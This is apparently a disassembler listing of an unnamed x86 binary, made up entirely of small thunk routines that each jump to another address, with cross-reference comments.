sub_4017DF proc near ; CODE XREF: sub_415520+5Ep
; sub_415F30+32p
jmp sub_415E70
sub_4017DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017E4 proc near ; CODE XREF: sub_4034E0+DBp
; sub_403FC0+3Fp ...
jmp sub_40A720
sub_4017E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017E9 proc near ; CODE XREF: ___:00421DAAp
jmp sub_422370
sub_4017E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017EE proc near
jmp sub_40B210
sub_4017EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017F3 proc near ; CODE XREF: sub_406890+205p
jmp sub_41B820
sub_4017F3 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017FD proc near ; CODE XREF: ___:00426A13p
jmp sub_426A40
sub_4017FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401802 proc near ; CODE XREF: sub_41E660+FFp
; sub_41E660+179p ...
jmp sub_421A80
sub_401802 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401807 proc near ; CODE XREF: sub_40A110+7p
jmp sub_40A130
sub_401807 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40180C proc near ; CODE XREF: sub_40B430+76p
jmp sub_40B390
sub_40180C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401811 proc near ; CODE XREF: ___:00423E93p
; DATA XREF: ___:off_44444Co
jmp sub_425020
sub_401811 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401816 proc near ; CODE XREF: sub_41E660+18Ep
; ___:0043B183j
jmp sub_4218F0
sub_401816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40181B proc near ; DATA XREF: ___:off_43E10Co
jmp sub_426F20
sub_40181B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401820 proc near ; CODE XREF: ___:00416DDFp
jmp sub_417DF0
sub_401820 endp
; ---------------------------------------------------------------------------
jmp loc_42EC20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182A proc near ; CODE XREF: sub_41E660+3BCp
; sub_4225B0+3p
jmp sub_421C50
sub_40182A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182F proc near ; CODE XREF: sub_4266A0+90p
jmp sub_426960
sub_40182F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401834 proc near ; CODE XREF: ___:0042436Dp
; sub_424840+135p
jmp sub_4243A0
sub_401834 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401839 proc near ; CODE XREF: sub_40BE40+3p
; ___:0040BF0Fp ...
jmp sub_40C080
sub_401839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40183E proc near ; CODE XREF: sub_4070F0+36p
; sub_4070F0+72p ...
jmp sub_407340
sub_40183E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401843 proc near ; CODE XREF: ___:00413181p
jmp sub_415680
sub_401843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401848 proc near ; CODE XREF: ___:0040B9D1p
; ___:0040BA98p ...
jmp sub_412AA0
sub_401848 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40184D proc near ; CODE XREF: ___:00431FEFp
; ___:004320FFp ...
jmp sub_431B30
sub_40184D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401852 proc near ; DATA XREF: ___:004322AAo
; ___:00432410o
jmp sub_431BA0
sub_401852 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401857 proc near ; CODE XREF: sub_416360+7p
jmp sub_416740
sub_401857 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40185C proc near ; CODE XREF: sub_418330+34p
jmp sub_404C20
sub_40185C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401861 proc near ; CODE XREF: sub_4034E0+7Ap
; sub_4034E0+9Ep ...
jmp sub_409B40
sub_401861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401866 proc near ; CODE XREF: sub_420530+152p
jmp sub_4207A0
sub_401866 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40186B proc near ; CODE XREF: ___:0041A228p
; sub_41B010+3p ...
jmp sub_41B040
sub_40186B endp
; ---------------------------------------------------------------------------
jmp loc_429D70
; ---------------------------------------------------------------------------
jmp loc_41C0E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40187A proc near ; CODE XREF: ___:00416A4Bp
; ___:00439F6Cj ...
jmp sub_416D10
sub_40187A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40187F proc near ; CODE XREF: sub_40FF60+217p
; sub_41FD90+4Cp ...
jmp sub_41FD50
sub_40187F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401884 proc near ; CODE XREF: sub_429AA0+9Dp
jmp sub_428160
sub_401884 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401889 proc near ; CODE XREF: ___:0042C005p
jmp sub_427DC0
sub_401889 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40188E proc near ; DATA XREF: ___:0043E184o
jmp sub_42A150
sub_40188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401893 proc near ; CODE XREF: sub_41B4B0+DDp
jmp sub_41AD30
sub_401893 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401898 proc near
jmp sub_432ED0
sub_401898 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40189D proc near ; CODE XREF: ___:004141C5p
; sub_414D40+1B2p
jmp sub_413DA0
sub_40189D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A2 proc near ; CODE XREF: sub_411FE0+1B6p
jmp sub_40A110
sub_4018A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A7 proc near ; CODE XREF: sub_41E660+5ABp
jmp sub_4203D0
sub_4018A7 endp
; ---------------------------------------------------------------------------
jmp loc_431D10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B1 proc near ; CODE XREF: sub_40A910+14p
jmp sub_40ABC0
sub_4018B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B6 proc near ; CODE XREF: sub_413510+B4p
; ___:00414B90p ...
jmp sub_415620
sub_4018B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018BB proc near ; CODE XREF: sub_41A2B0+6Dp
; sub_41A2B0+1B5p
jmp sub_41AF60
sub_4018BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C0 proc near ; CODE XREF: ___:004310DAp
jmp sub_430A90
sub_4018C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C5 proc near ; CODE XREF: sub_418E90+5Fp
jmp sub_419030
sub_4018C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018CA proc near ; CODE XREF: ___:00416A9Bp
; ___:00439F26j ...
jmp sub_4178F0
sub_4018CA endp
; ---------------------------------------------------------------------------
jmp loc_419DD0
; ---------------------------------------------------------------------------
jmp sub_41A0E0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018D9 proc near ; CODE XREF: sub_41E660+46p
jmp sub_4218B0
sub_4018D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018DE proc near ; CODE XREF: ___:0042C135p
jmp sub_4299C0
sub_4018DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018E3 proc near ; CODE XREF: sub_422130+7p
jmp sub_422520
sub_4018E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018E8 proc near ; CODE XREF: sub_421FB0+9p
; sub_422410+18p
jmp sub_422590
sub_4018E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018ED proc near ; CODE XREF: sub_4221B0+8p
jmp sub_422570
sub_4018ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018F2 proc near ; CODE XREF: sub_4133D0+43p
; sub_4147D0+4Fp ...
jmp sub_415730
sub_4018F2 endp
; ---------------------------------------------------------------------------
jmp loc_430A10
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018FC proc near ; CODE XREF: sub_4219D0+1Fp
jmp sub_421D50
sub_4018FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401901 proc near ; CODE XREF: sub_4218B0+11p
; sub_421D50+1Fp
jmp sub_421E80
sub_401901 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401906 proc near ; CODE XREF: sub_40B390+6Dp
jmp sub_40BD90
sub_401906 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40190B proc near ; CODE XREF: sub_409450+13p
jmp sub_409580
sub_40190B endp
; ---------------------------------------------------------------------------
jmp loc_4365C0
; ---------------------------------------------------------------------------
jmp sub_41B010
; ---------------------------------------------------------------------------
loc_40191A: ; DATA XREF: ___:off_43E068o
jmp loc_416CE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40191F proc near ; CODE XREF: ___:00413B31p
jmp sub_4139B0
sub_40191F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401924 proc near ; CODE XREF: ___:00413193p
; sub_413220+32p
jmp sub_4154D0
sub_401924 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401929 proc near ; CODE XREF: ___:00416B4Bp
; ___:00439E8Cj ...
jmp sub_417020
sub_401929 endp
; ---------------------------------------------------------------------------
jmp loc_4310A0
; ---------------------------------------------------------------------------
jmp loc_4334F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401938 proc near ; CODE XREF: sub_41C610+F1p
; sub_41C610+270p ...
jmp sub_420E10
sub_401938 endp
; ---------------------------------------------------------------------------
jmp loc_40A400
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401942 proc near ; CODE XREF: sub_404C70+283p
; sub_40ED70+D2p ...
jmp sub_40EF90
sub_401942 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401947 proc near ; CODE XREF: sub_4218F0+34p
; sub_422240+67p
jmp sub_421ED0
sub_401947 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40194C proc near ; CODE XREF: sub_404C70+BF7p
jmp sub_4066E0
sub_40194C endp
; ---------------------------------------------------------------------------
jmp loc_432360
; ---------------------------------------------------------------------------
loc_401956: ; DATA XREF: sub_41FC00+39o
jmp loc_41FB30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40195B proc near ; CODE XREF: ___:0041A19Ep
; sub_41A2B0+Bp ...
jmp sub_41A290
sub_40195B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401960 proc near ; CODE XREF: ___:0041AB86p
; ___:0041AC66p
jmp sub_41A890
sub_401960 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401965 proc near
jmp sub_419220
sub_401965 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196A proc near ; CODE XREF: sub_411910+2Ep
; sub_411B10+3p
jmp sub_411A50
sub_40196A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196F proc near ; CODE XREF: sub_41E660+F5p
; sub_41E660+16Fp ...
jmp sub_4219A0
sub_40196F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401974 proc near ; CODE XREF: sub_409450+4p
; sub_409600+1Fp ...
jmp sub_409500
sub_401974 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401979 proc near
jmp sub_409A30
sub_401979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40197E proc near ; CODE XREF: sub_41F860+20p
; sub_429AA0+37p
jmp sub_41FE50
sub_40197E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401983 proc near ; CODE XREF: sub_413510+4Ap
; ___:00414B3Fp ...
jmp sub_415420
sub_401983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401988 proc near ; CODE XREF: sub_40A430+A8p
jmp sub_40A850
sub_401988 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40198D proc near ; CODE XREF: sub_40CBB0+41p
jmp sub_40CE60
sub_40198D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401992 proc near ; CODE XREF: ___:00433405p
; ___:00433505p
jmp sub_433160
sub_401992 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401997 proc near ; CODE XREF: sub_4218F0+29p
jmp sub_421DF0
sub_401997 endp
; ---------------------------------------------------------------------------
jmp loc_42ECF0
; ---------------------------------------------------------------------------
jmp loc_42ECC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019A6 proc near ; CODE XREF: sub_40A790+Dp
; sub_40A9F0+91p
jmp sub_40A910
sub_4019A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019AB proc near ; CODE XREF: sub_422050+23p
; sub_422410+11p
jmp sub_4225B0
sub_4019AB endp
; ---------------------------------------------------------------------------
jmp loc_41AB20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019B5 proc near ; CODE XREF: sub_403FC0+2Cp
; ___:0040403Fp ...
jmp sub_4034E0
sub_4019B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019BA proc near ; CODE XREF: sub_422750+6p
jmp sub_4227C0
sub_4019BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019BF proc near ; DATA XREF: ___:off_43E050o
jmp sub_416C30
sub_4019BF endp
; ---------------------------------------------------------------------------
jmp sub_40FD70
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4019C9 proc near ; CODE XREF: sub_407410+4p
jmp sub_407540
sub_4019C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019CE proc near ; CODE XREF: ___:0040B629p
; ___:0040BA46p ...
jmp sub_40B520
sub_4019CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019D3 proc near ; CODE XREF: sub_40FF60+AF4p
; sub_40FF60+E6Ap
jmp sub_411B10
sub_4019D3 endp
; ---------------------------------------------------------------------------
jmp loc_432940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019DD proc near ; CODE XREF: sub_4144D0+CEp
jmp sub_414640
sub_4019DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019E2 proc near ; DATA XREF: ___:0043E1C8o
jmp sub_42B880
sub_4019E2 endp
; ---------------------------------------------------------------------------
loc_4019E7: ; DATA XREF: ___:off_43E0D0o
jmp loc_41D730
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019EC proc near ; CODE XREF: sub_421A10+3p
jmp sub_421F30
sub_4019EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4019F1 proc near ; CODE XREF: ___:00416D8Fp
jmp sub_40B0B0
sub_4019F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4019F6 proc near
jmp sub_4132E0
sub_4019F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019FB proc near ; CODE XREF: sub_41E660+477p
jmp sub_4200F0
sub_4019FB endp
; ---------------------------------------------------------------------------
jmp loc_421850
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A05 proc near ; DATA XREF: ___:0043E124o
jmp sub_427650
sub_401A05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A0A proc near
jmp sub_411B40
sub_401A0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A0F proc near ; CODE XREF: sub_4331D0+92p
jmp sub_430940
sub_401A0F endp
; ---------------------------------------------------------------------------
jmp loc_427FC0
; ---------------------------------------------------------------------------
jmp loc_426A10
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A1E proc near ; CODE XREF: sub_421DF0+32p
jmp sub_422240
sub_401A1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A23 proc near ; CODE XREF: ___:00416ADBp
; sub_416C30+3p ...
jmp sub_416C00
sub_401A23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A28 proc near ; CODE XREF: ___:00423A04p
; ___:004272F8p ...
jmp sub_420D00
sub_401A28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A2D proc near ; CODE XREF: sub_422210+Ap
jmp sub_422620
sub_401A2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A32 proc near ; CODE XREF: ___:00412ECFp
; ___:00412F84p ...
jmp sub_404640
sub_401A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A37 proc near ; CODE XREF: sub_409450+1Ap
; sub_409530+4p ...
jmp sub_4094C0
sub_401A37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A3C proc near ; DATA XREF: ___:off_43E028o
jmp sub_40FD70
sub_401A3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A41 proc near ; DATA XREF: ___:0043E0E4o
jmp sub_4266A0
sub_401A41 endp
; ---------------------------------------------------------------------------
jmp loc_409D50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A4B proc near ; CODE XREF: sub_415AA0+1Ep
jmp sub_416550
sub_401A4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A50 proc near ; CODE XREF: ___:0042F2F0p
; sub_430F00+36p ...
jmp sub_430340
sub_401A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A55 proc near ; CODE XREF: sub_4137E0+3Ep
jmp sub_433900
sub_401A55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A5A proc near ; CODE XREF: sub_4149A0+3p
jmp sub_4149D0
sub_401A5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A5F proc near ; CODE XREF: ___:004081D0p
; ___:00408661p
jmp sub_409490
sub_401A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A64 proc near ; DATA XREF: ___:0043E0E0o
; ___:0043E0F0o ...
jmp sub_4263D0
sub_401A64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A69 proc near ; CODE XREF: sub_41D830+1ADp
jmp sub_42C810
sub_401A69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A6E proc near ; CODE XREF: sub_420530+191p
; sub_4227C0+3p ...
jmp sub_4207C0
sub_401A6E endp
; ---------------------------------------------------------------------------
jmp loc_42EFF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A78 proc near ; CODE XREF: sub_4225E0+5p
jmp sub_422750
sub_401A78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A7D proc near ; CODE XREF: ___:00416E4Ap
jmp sub_418100
sub_401A7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A82 proc near ; CODE XREF: sub_407220+5p
; sub_407310+6p ...
jmp sub_407460
sub_401A82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A87 proc near ; CODE XREF: sub_4034E0+90p
; sub_404C70+40Fp ...
jmp sub_40A6A0
sub_401A87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A8C proc near ; CODE XREF: sub_41D830+2FFp
; sub_41EF30+52Fp
jmp sub_41FD90
sub_401A8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A91 proc near ; CODE XREF: ___:00431DCAp
jmp sub_42F840
sub_401A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A96 proc near ; CODE XREF: sub_415490+1Fp
jmp sub_415DD0
sub_401A96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A9B proc near ; CODE XREF: sub_4034E0+E5p
; sub_409E70+Fp ...
jmp sub_409DA0
sub_401A9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AA0 proc near ; CODE XREF: sub_431560+17p
; sub_431560+33p
jmp sub_433710
sub_401AA0 endp
; ---------------------------------------------------------------------------
jmp loc_433480
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_401AAF: ; DATA XREF: ___:off_43E0FCo
jmp loc_426A10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AB4 proc near ; CODE XREF: sub_424E90+E5p
; sub_424E90+120p
jmp sub_424D40
sub_401AB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AB9 proc near ; DATA XREF: ___:off_43E034o
jmp sub_411FE0
sub_401AB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ABE proc near ; DATA XREF: ___:0041FB33o
jmp sub_41FA90
sub_401ABE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AC3 proc near ; CODE XREF: sub_4070F0+Bp
jmp sub_4072D0
sub_401AC3 endp
; ---------------------------------------------------------------------------
jmp loc_432BA0
; ---------------------------------------------------------------------------
loc_401ACD: ; DATA XREF: ___:off_43E020o
jmp loc_40B8D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD2 proc near ; CODE XREF: sub_403EE0+2Bp
; sub_403EE0+3Bp ...
jmp sub_403D10
sub_401AD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD7 proc near ; CODE XREF: sub_413510+66p
; sub_413510+CAp ...
jmp sub_415650
sub_401AD7 endp
; ---------------------------------------------------------------------------
jmp loc_41B780
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AE1 proc near
jmp sub_4227F0
sub_401AE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AE6 proc near ; CODE XREF: ___:00416B2Bp
; ___:00439EA8j ...
jmp sub_40B170
sub_401AE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AEB proc near ; CODE XREF: ___:00421764p
; ___:0042179Ep
jmp sub_4215D0
sub_401AEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AF0 proc near ; CODE XREF: sub_404BE0+15p
jmp sub_4070F0
sub_401AF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AF5 proc near ; DATA XREF: ___:off_43E0BCo
jmp sub_41A0E0
sub_401AF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AFA proc near ; CODE XREF: ___:00416F0Fp
jmp sub_418900
sub_401AFA endp
; ---------------------------------------------------------------------------
loc_401AFF: ; CODE XREF: ___:00438C76j
jmp loc_40CAF0
; ---------------------------------------------------------------------------
loc_401B04: ; DATA XREF: ___:off_43E16Co
jmp loc_429D70
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B09 proc near ; CODE XREF: sub_416FB0+28p
jmp sub_418890
sub_401B09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B0E proc near ; CODE XREF: ___:004319E7p
jmp sub_431A20
sub_401B0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B13 proc near ; CODE XREF: sub_42FF50+Bp
jmp sub_4303D0
sub_401B13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B18 proc near
jmp sub_40AEA0
sub_401B18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B1D proc near ; CODE XREF: ___:00418C7Bp
; sub_418E90+28p ...
jmp sub_418F50
sub_401B1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B22 proc near ; DATA XREF: ___:off_43E1B0o
jmp sub_42B4F0
sub_401B22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B27 proc near ; CODE XREF: ___:00416A7Bp
; ___:00439F42j ...
jmp sub_4179D0
sub_401B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B2C proc near ; CODE XREF: ___:00408706p
; ___:00408727p ...
jmp sub_407660
sub_401B2C endp
; ---------------------------------------------------------------------------
jmp loc_414AF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B36 proc near ; CODE XREF: sub_41C610+83p
; sub_4282C0+3Fp
jmp sub_41D540
sub_401B36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B3B proc near ; CODE XREF: sub_41A890+11p
jmp sub_41A8C0
sub_401B3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B40 proc near ; CODE XREF: sub_41E660+339p
jmp sub_421C10
sub_401B40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B45 proc near ; CODE XREF: sub_414C70+3p
jmp sub_414CA0
sub_401B45 endp
; ---------------------------------------------------------------------------
jmp loc_432CA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B4F proc near ; CODE XREF: sub_42FAA0+29p
jmp sub_42F540
sub_401B4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B54 proc near ; CODE XREF: sub_40FDA0+38p
; ___:00439158j
jmp sub_412BC0
sub_401B54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B59 proc near
jmp sub_40D580
sub_401B59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B5E proc near ; CODE XREF: sub_407660+3Bp
; sub_4076F0+43p
jmp sub_40B430
sub_401B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B63 proc near ; CODE XREF: sub_4072D0+3p
jmp sub_4074A0
sub_401B63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B68 proc near ; CODE XREF: sub_424840+9Dp
; sub_424840+FBp ...
jmp sub_4245F0
sub_401B68 endp
; ---------------------------------------------------------------------------
loc_401B6D: ; DATA XREF: ___:off_43E084o
jmp loc_425BD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B72 proc near ; CODE XREF: sub_40FF60+413p
; sub_40FF60+F69p ...
jmp sub_409F60
sub_401B72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B77 proc near ; CODE XREF: ___:00425474p
jmp sub_4254E0
sub_401B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B7C proc near ; CODE XREF: sub_422050+32p
jmp sub_422410
sub_401B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B81 proc near ; CODE XREF: sub_41B4B0+A5p
jmp sub_41A6D0
sub_401B81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B86 proc near ; CODE XREF: sub_40BF60+23p
; sub_40C120+11p
jmp sub_40C2C0
sub_401B86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B8B proc near ; CODE XREF: ___:0042B833p
jmp sub_42B860
sub_401B8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B90 proc near
jmp sub_41E140
sub_401B90 endp
; ---------------------------------------------------------------------------
loc_401B95: ; DATA XREF: sub_42FF50+86o
jmp loc_431650
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B9A proc near ; CODE XREF: sub_409530+20p
jmp sub_409600
sub_401B9A endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BA4 proc near ; DATA XREF: ___:off_43E0A4o
jmp sub_40CBB0
sub_401BA4 endp
; ---------------------------------------------------------------------------
jmp loc_4309D0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BAE proc near ; CODE XREF: sub_421BD0+1Fp
jmp sub_421FB0
sub_401BAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BB3 proc near ; CODE XREF: sub_427520+39p
jmp sub_4270E0
sub_401BB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BB8 proc near ; CODE XREF: sub_415730+5p
; sub_415930+6p ...
jmp sub_416380
sub_401BB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BBD proc near ; CODE XREF: sub_4303D0+5Dp
; sub_431730+3Ep
jmp sub_4304D0
sub_401BBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BC2 proc near ; CODE XREF: ___:00432129p
; ___:0043214Ap ...
jmp sub_430C00
sub_401BC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BC7 proc near ; CODE XREF: ___:00425DA2p
jmp sub_4269A0
sub_401BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BCC proc near ; CODE XREF: sub_41B3D0+3p
jmp sub_41B400
sub_401BCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BD1 proc near ; CODE XREF: sub_428220+3p
jmp sub_428250
sub_401BD1 endp
